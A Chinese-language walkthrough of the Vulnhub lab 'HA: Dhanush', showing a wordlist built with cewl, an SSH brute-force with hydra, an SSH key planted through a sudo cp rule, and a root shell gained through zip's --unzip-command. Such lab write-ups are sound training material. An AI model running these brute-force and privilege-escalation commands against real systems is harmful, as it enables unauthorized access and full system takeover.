HA: Dhanush Vulnhub Walkthrough

Posted hack404

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了HA: Dhanush Vulnhub Walkthrough相关的知识,希望对你有一定的参考价值。

靶机下载链接:

https://www.vulnhub.com/entry/ha-dhanush,396/

主机扫描:

技术图片

 

主机端口扫描:

技术图片

 

HTTP目录爬取

使用dirb dirsearch 爬取均未发现可利用的目录

另外看到ssh端口开启了,进行网页爬取字典生成进行爆破

cewl http://10.10.202.147 -w dict.txt

技术图片

 

╰─ hydra -L dict.txt 10.10.202.147 ssh -s 65345 -e nsr

技术图片

 

技术图片

 

尝试复制passwd文件提示无权限,用户sarangy用户才具有cp的root权限执行

这里的思路:

pinak用户生成秘钥对,然后使用过cp命令复制到用户sarang用户的.ssh目录为authorized_keys文件

然后ssh -i rsa_id 进行登录,尝试提权

技术图片

 

sudo -u sarang /bin/cp ./id_rsa.pub /home/sarang/.ssh/authorized_keys

技术图片

 

技术图片

 

zip命令提权

sudo zip /tmp/test.zip /home/sarang/test -T --unzip-command="sh -c /bin/bash"

技术图片

 

 OVER!

以上是关于HA: Dhanush Vulnhub Walkthrough的主要内容,如果未能解决你的问题,请参考以下文章

VulnHub靶场学习_HA: Chanakya

HA: Chanakya Vulnhub Walkthrough

HA: Chakravyuh Vulnhub Walkthrough

VulnHub渗透测试实战靶场-HA:NARAK

Vulnhub: HA: Joker靶机

VulnHub渗透测试实战靶场-Durian:1